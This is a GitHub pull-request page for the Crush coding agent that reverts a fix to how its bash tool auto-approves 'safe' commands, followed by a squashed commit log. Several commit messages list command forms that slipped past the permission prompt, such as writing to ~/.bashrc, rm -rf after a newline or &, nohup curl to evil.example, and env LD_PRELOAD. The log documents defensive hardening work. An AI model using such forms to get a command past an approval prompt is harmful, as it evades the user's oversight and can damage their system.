Skip to content

Revert "fix(bash): decide auto-approval from the parsed command, not its prefix" - #3565

Merged
joestump merged 1 commit into
mainfrom
revert-3426-upstream/bash-permission-ast
Aug 16, 2026
Merged

Revert "fix(bash): decide auto-approval from the parsed command, not its prefix"#3565
joestump merged 1 commit into
mainfrom
revert-3426-upstream/bash-permission-ast

Conversation

@joestump

@joestump joestump commented Aug 16, 2026

Copy link
Copy Markdown
Contributor

Reverts #3426

Merged too soon. @meowgorithm has a few more checks he wants to run to make sure it works with @taciturnaxolotl's sysadmin mode.

@joestump
joestump enabled auto-merge August 16, 2026 10:38
@joestump
joestump merged commit 240c487 into main Aug 16, 2026
16 checks passed
@joestump
joestump deleted the revert-3426-upstream/bash-permission-ast branch August 16, 2026 10:46
@meowgorithm

meowgorithm commented Aug 16, 2026

Copy link
Copy Markdown
Member

This one is complimentary to sysadmin mode. @joestump I think we can do a fast follow-up either way. Open a new PR and I'll send some feedback.

joestump added a commit to joestump-agent/crush that referenced this pull request Aug 16, 2026
@joestump @joestump-agent
fix(bash): decide auto-approval from the parsed command, not its prefix
e04e7b6 
Reapplies the change reverted in charmbracelet#3565 (revert of charmbracelet#3426), unchanged.

The original PR was merged before @meowgorithm had finished checking it
against @taciturnaxolotl's sysadmin mode, so it was reverted to take main
back to a known state. This restores the branch as a live PR so that
review can finish before it lands a second time.

The tree for the four touched files is byte-identical to the post-charmbracelet#3426
state; no behavior was changed while it was out.

Co-authored-by: joestump-agent <joestump-agent@users.noreply.github.com>
Assisted-by: Claude Opus 5
@joestump joestump mentioned this pull request Aug 16, 2026
Open
Paciente8159 added a commit to Paciente8159/crush that referenced this pull request Aug 16, 2026
@Paciente8159
Squashed commit of the following:
4b281be 
commit 240c487
Merge: 6abd61e d73a6e4
Author: Joe Stump <joe@stu.mp>
Date:   Sun Aug 16 11:46:30 2026 +0100

    Merge pull request charmbracelet#3565 from charmbracelet/revert-3426-upstream/bash-permission-ast

    Revert "fix(bash): decide auto-approval from the parsed command, not its prefix"

commit d73a6e4
Author: Joe Stump <joe@stu.mp>
Date:   Sun Aug 16 11:37:46 2026 +0100

    Revert "fix(bash): decide auto-approval from the parsed command, not its prefix"

commit 6abd61e
Merge: 051955a 945c518
Author: Joe Stump <joe@joestump.net>
Date:   Sun Aug 16 11:23:33 2026 +0100

    Merge pull request charmbracelet#3426 from joestump-agent/upstream/bash-permission-ast

    fix(bash): decide auto-approval from the parsed command, not its prefix

commit 945c518
Author: joestump <joe@joestump.net>
Date:   Sun Aug 16 11:15:43 2026 +0100

    sec(bash): close four auto-approval gaps in the safe-command matcher

    Review of the parser rewrite turned up four command forms that still skip
    the permission prompt. None are regressions from this branch — all four
    also auto-approve under the prefix matcher on main — but a check that
    argues it approves only what is provably inert should not leave them.

    env NAME=VALUE cmd was the one worth blocking on. safeStmt rejects a
    `FOO=bar cmd` prefix because an assignment steers the command through its
    environment, and peelWrapper then skipped the same assignments when they
    were spelled through env, so `env GIT_EXTERNAL_DIFF=/tmp/x git diff` and
    `env LD_PRELOAD=/tmp/x.so ls` auto-approved. Assignments are no longer
    skipped: the assignment stays at the head of the inner argv, matches no
    entry, and falls through to the prompt.

    denyFlags matched the whole token, so a short flag that carried its value
    attached or clustered with another never matched its entry — `date -s`
    was denied while `date -s2020-01-01` and `date -us` were not. Deny
    matching now reads every character of a single-dash token. hostname moves
    to an allow list for the same reason: `hostname -F/etc/x` sets the
    hostname in one token, leaving no operand for allowOperands to reject.

    --textconv joins --ext-diff on gitCodeExecFlags; both run a program named
    by the repository's own config. `git remote show` now requires -n, which
    is what keeps it off the network — without it the subcommand does a live
    ls-remote, the behaviour cited for leaving git ls-remote off the list.

    Verified all four close and 25 legitimate forms still auto-approve.

    Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

commit 059ba81
Author: joestump-agent <agent@stump.wtf>
Date:   Sat Jul 25 08:58:31 2026 +0100

    fix(bash): keep read-only git filter and remote forms auto-approved

    Rebuilding the safe list cost three read-only forms their auto-approval:
    `git branch --contains <commit>`, `git tag --points-at <ref>` and
    `git remote show|get-url <name>`. All three carry an operand, and the
    branch/tag entries reject operands so that `git branch <name>` and
    `git tag <name>` — which create — keep prompting.

    Add operand-taking entries gated on requireFlag, the same mechanism
    `git config --get` already uses: a filter flag must be present, which is
    exactly what distinguishes listing from creating. git itself rejects
    mixing a filter flag with branch creation, so the pair cannot combine
    into a mutation. The read-only remote subcommands are spelled out so
    add/remove/rename/set-url/prune stay off.

commit 07e0544
Author: joestump-agent <agent@stump.wtf>
Date:   Sat Jul 25 08:56:35 2026 +0100

    fix(bash): satisfy staticcheck QF1001 in isAssignment

    Express the character rule positively — a name is letters, digits and
    underscores and cannot lead with a digit — instead of negating a
    conjunction, which staticcheck flags as a De Morgan simplification.

commit 1fdb081
Author: joestump-agent <agent@stump.wtf>
Date:   Sat Jul 25 08:31:06 2026 +0100

    fix(bash): decide auto-approval from the parsed command, not its prefix

    The bash tool skipped the permission prompt for a "safe read-only"
    command by testing strings.HasPrefix against a list of command names,
    guarded by a scan for the chaining metacharacters ; | && $( and `.

    Text matching cannot see what the command actually does. The guard has
    no notion of a newline, a bare &, a redirection, or a process
    substitution, and prefix matching cannot tell a command from one that
    merely starts with the same letters. Every one of these skipped the
    prompt entirely:

        echo hi\nrm -rf /tmp/pwned
        echo pwned > ~/.bashrc
        echo hi & rm -rf /tmp/pwned
        ls <(rm -rf /tmp/pwned)
        env rm -rf /tmp/pwned
        nohup curl https://evil.example
        git branch -D main
        git tag -d v1.0.0
        git remote set-url origin https://evil.example/x.git

    Parse the command with syntax.Parser and approve only what is provably
    inert. Every statement must be a plain call with no redirection, no
    backgrounding, no assignment, and fully literal words — a command
    substitution or parameter expansion is rejected rather than evaluated,
    so `ls $(rm -rf /)` is never mistaken for an `ls`. Anything unrecognized
    fails closed, which costs a permission prompt and nothing more.

    The safe list is rebuilt on that footing. Entries now match a token
    sequence instead of a string prefix, and carry a flag policy, so
    `git branch` and `git branch --list` still auto-approve while
    `git branch -D` does not. Command wrappers (env, nohup, nice, timeout)
    are peeled and the command inside is checked on its own merits:
    `nohup ls` auto-approves, `nohup curl` does not. `time` gets the same
    treatment via its keyword node.

    Dropped from the list: kill and killall (signal arbitrary processes),
    set and unset (mutate shell state), git ls-remote and Windows
    nslookup/ping (reach the network).

    This adds prompts where there were none before, which is the point.

    Refs charmbracelet#3425

commit 051955a
Author: Charm <124303983+charmcli@users.noreply.github.com>
Date:   Thu Aug 13 18:44:22 2026 -0300

    chore(legal): @lawrence3699 has signed the CLA

commit d8daa11
Author: Charm <124303983+charmcli@users.noreply.github.com>
Date:   Thu Aug 13 03:10:30 2026 -0300

    chore(legal): @Lin-BoYuan has signed the CLA

commit 0fa44aa
Author: Charm <124303983+charmcli@users.noreply.github.com>
Date:   Wed Aug 12 21:57:27 2026 -0300

    chore(legal): @teddytennant has signed the CLA

commit 3795102
Author: Andrey Nering <andrey@nering.com.br>
Date:   Wed Aug 12 17:22:19 2026 -0300

    ci: run dependabot monthly

commit 06e27eb
Author: Andrey Nering <andrey@nering.com.br>
Date:   Wed Aug 12 16:38:28 2026 -0300

    chore(deps): update fantasy and catwalk

commit ba531a4
Author: Andrey Nering <andrey@nering.com.br>
Date:   Wed Aug 12 16:36:53 2026 -0300

    v0.89.0

commit 25bf6a2
Author: Drew Smirnoff <drew@charm.land>
Date:   Wed Aug 12 23:06:24 2026 +0400

    feat: ctrl+end to go to the bottom and follow (charmbracelet#3535)

    Signed-off-by: drew <me@andrinoff.com>

commit 2e02413
Author: Charm <124303983+charmcli@users.noreply.github.com>
Date:   Wed Aug 12 18:38:10 2026 +0000

    chore: auto-update files

commit ec2fe43
Author: Andrey Nering <andreynering@users.noreply.github.com>
Date:   Wed Aug 12 15:36:31 2026 -0300

    fix: send hyper api key when fetching provider catalog (charmbracelet#3546)

    Also, retry on 401 and re-fetch after completing OAuth authentication.

    Assisted-by: Crush:qwen3.8-max

commit 804324f
Author: Bruno Krugel <brunokrugel@gmail.com>
Date:   Wed Aug 12 13:03:14 2026 -0300

    feat(session): print session id on exit (charmbracelet#3398)

    Co-authored-by: AN Long <aisk1988@gmail.com>
    Co-authored-by: Christian Rocha <christian@rocha.is>

commit f50509d
Author: Christian Rocha <christian@rocha.is>
Date:   Fri Aug 7 15:30:33 2026 -0400

    chore(mcp): log how long each MCP server takes to connect

    Makes it possible to tell from the debug logs which configured server is
    slow to start, instead of only learning that one failed.

    💘 Generated with Crush

    Assisted-by: Crush:anthropic/claude-opus-5

commit c78cc67
Author: Christian Rocha <christian@rocha.is>
Date:   Fri Aug 7 14:52:56 2026 -0400

    fix(mcp): only wait for slow MCP servers in non-interactive runs

    Interactive sessions no longer freeze while MCP servers are still
    connecting: prompts send immediately and tools from late servers appear
    on subsequent turns. One-shot non-interactive runs still wait, bounded
    by each server's connect timeout, so their tool palette is complete.

    💘 Generated with Crush

    Assisted-by: Crush:anthropic/claude-opus-5

commit 48768f8
Author: Christian Rocha <christian@rocha.is>
Date:   Thu Aug 6 16:05:27 2026 -0400

    fix(ui): don't block interactive prompts on MCP initialization

    The interactive coordinator gated every run on mcp.WaitForInit, which
    waits for every configured MCP server to finish connecting. Sending a
    prompt before init completed — typically the first message in a session
    — froze the UI spinner for the duration of the slowest server's connect
    timeout (10s by default, up from 120s before charmbracelet#3509), making Crush feel
    broken on startup.

    Build the tool list from whatever is registered at send time instead.
    Servers still connecting publish EventToolsListChanged when ready and
    their tools appear on the next run; the TUI already surfaces per-server
    status so nothing fails silently. The non-interactive path (crush run)
    still waits explicitly in App.RunNonInteractive before starting work —
    there the user has no status UI and expects the full tool palette, so
    waiting once up front is correct.

    💘 Generated with Crush

    Assisted-by: Crush:kimi-k3

commit b82d7d0
Author: Christian Rocha <christian@rocha.is>
Date:   Sun Aug 9 08:40:35 2026 -0400

    feat(session): restore last used provider/model from session

    When continuing or loading a session, the provider and model are now
    restored to the last ones used in that session's assistant messages.
    If the provider/model is no longer available, no change is made.

    Affects all three entry points: interactive TUI, non-interactive local,
    and non-interactive client/server modes.

    💘 Generated with Crush

    Assisted-by: Crush:glm-5.2

commit ba86f77
Author: Charm <124303983+charmcli@users.noreply.github.com>
Date:   Wed Aug 12 03:25:44 2026 -0300

    chore(legal): @ktsoator has signed the CLA

commit 63d73f7
Author: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Date:   Tue Aug 11 20:42:36 2026 +0000

    chore(deps): bump the all group across 1 directory with 7 updates (charmbracelet#3545)

    Bumps the all group with 7 updates in the / directory:

    | Package | From | To |
    | --- | --- | --- |
    | [charm.land/catwalk](https://github.com/charmbracelet/catwalk) | `0.51.6` | `0.51.18` |
    | [github.com/go-git/go-git/v5](https://github.com/go-git/go-git) | `5.19.1` | `5.19.2` |
    | [github.com/lucasb-eyer/go-colorful](https://github.com/lucasb-eyer/go-colorful) | `1.4.0` | `1.4.1` |
    | [github.com/ncruces/go-sqlite3](https://github.com/ncruces/go-sqlite3) | `0.35.2` | `0.35.3` |
    | [github.com/posthog/posthog-go](https://github.com/posthog/posthog-go) | `1.22.0` | `1.23.0` |
    | [github.com/sourcegraph/jsonrpc2](https://github.com/sourcegraph/jsonrpc2) | `0.2.1` | `0.2.2` |
    | [modernc.org/sqlite](https://gitlab.com/cznic/sqlite) | `1.54.0` | `1.56.0` |

    Updates `charm.land/catwalk` from 0.51.6 to 0.51.18
    - [Release notes](https://github.com/charmbracelet/catwalk/releases)
    - [Commits](charmbracelet/catwalk@v0.51.6...v0.51.18)

    Updates `github.com/go-git/go-git/v5` from 5.19.1 to 5.19.2
    - [Release notes](https://github.com/go-git/go-git/releases)
    - [Changelog](https://github.com/go-git/go-git/blob/main/HISTORY.md)
    - [Commits](go-git/go-git@v5.19.1...v5.19.2)

    Updates `github.com/lucasb-eyer/go-colorful` from 1.4.0 to 1.4.1
    - [Release notes](https://github.com/lucasb-eyer/go-colorful/releases)
    - [Changelog](https://github.com/lucasb-eyer/go-colorful/blob/master/CHANGELOG.md)
    - [Commits](lucasb-eyer/go-colorful@v1.4.0...v1.4.1)

    Updates `github.com/ncruces/go-sqlite3` from 0.35.2 to 0.35.3
    - [Release notes](https://github.com/ncruces/go-sqlite3/releases)
    - [Commits](ncruces/go-sqlite3@v0.35.2...v0.35.3)

    Updates `github.com/posthog/posthog-go` from 1.22.0 to 1.23.0
    - [Release notes](https://github.com/posthog/posthog-go/releases)
    - [Changelog](https://github.com/PostHog/posthog-go/blob/main/CHANGELOG.md)
    - [Commits](PostHog/posthog-go@v1.22.0...v1.23.0)

    Updates `github.com/sourcegraph/jsonrpc2` from 0.2.1 to 0.2.2
    - [Release notes](https://github.com/sourcegraph/jsonrpc2/releases)
    - [Commits](sourcegraph/jsonrpc2@v0.2.1...v0.2.2)

    Updates `modernc.org/sqlite` from 1.54.0 to 1.56.0
    - [Changelog](https://gitlab.com/cznic/sqlite/blob/master/CHANGELOG.md)
    - [Commits](https://gitlab.com/cznic/sqlite/compare/v1.54.0...v1.56.0)

    ---
    updated-dependencies:
    - dependency-name: charm.land/catwalk
      dependency-version: 0.51.18
      dependency-type: direct:production
      update-type: version-update:semver-patch
      dependency-group: all
    - dependency-name: github.com/go-git/go-git/v5
      dependency-version: 5.19.2
      dependency-type: direct:production
      update-type: version-update:semver-patch
      dependency-group: all
    - dependency-name: github.com/lucasb-eyer/go-colorful
      dependency-version: 1.4.1
      dependency-type: direct:production
      update-type: version-update:semver-patch
      dependency-group: all
    - dependency-name: github.com/ncruces/go-sqlite3
      dependency-version: 0.35.3
      dependency-type: direct:production
      update-type: version-update:semver-patch
      dependency-group: all
    - dependency-name: github.com/posthog/posthog-go
      dependency-version: 1.23.0
      dependency-type: direct:production
      update-type: version-update:semver-minor
      dependency-group: all
    - dependency-name: github.com/sourcegraph/jsonrpc2
      dependency-version: 0.2.2
      dependency-type: direct:production
      update-type: version-update:semver-patch
      dependency-group: all
    - dependency-name: modernc.org/sqlite
      dependency-version: 1.56.0
      dependency-type: direct:production
      update-type: version-update:semver-minor
      dependency-group: all
    ...

    Signed-off-by: dependabot[bot] <support@github.com>
    Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>

commit 01da7bc
Author: Andrey Nering <andreynering@users.noreply.github.com>
Date:   Tue Aug 11 17:05:56 2026 -0300

    feat: use anthropic sdk from upstream (charmbracelet#3544)

    * Fantasy PR: charmbracelet/fantasy#336

commit dcaf16f
Author: Charm <124303983+charmcli@users.noreply.github.com>
Date:   Tue Aug 11 14:29:59 2026 -0300

    chore(legal): @ach3rry has signed the CLA

commit 36a4f79
Author: Andrey Nering <andrey@nering.com.br>
Date:   Mon Aug 10 17:31:47 2026 -0300

    feat(ux): strip redundant cd-to-project prefix from bash tool display

    Models often prepend "cd <project-path> && " to every command even
    though the shell already starts in the project directory. Strip this
    prefix for display only when the cd target exactly matches the working
    directory, making the command header shorter and easier to read.

    Assisted-by: Crush

commit 90b48cd
Author: Andrey Nering <andrey@nering.com.br>
Date:   Mon Aug 10 16:35:18 2026 -0300

    feat(ux): add bash syntax highlighting to bash tool

    Assisted-by: Crush

commit feb6300
Author: Amolith <amolith@secluded.site>
Date:   Mon Aug 10 10:08:00 2026 -0700

    telemetry: differentiate invocation types (charmbracelet#3533)

    I suspect lots of `crush run` is just from people telling their
    interactive Crush to use `crush run` for write-capable subagents, since
    our built in subagents are currently hobbled.

    This checks for nesting on startup by looking for an env var the shell
    tool already sets for all shell invocations. If `crush run` sees the env
    var, it knows it's a non-interactive instance launched by another
    possibly interactive, possibly noninteractive instance.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

2 participants

@joestump @meowgorithm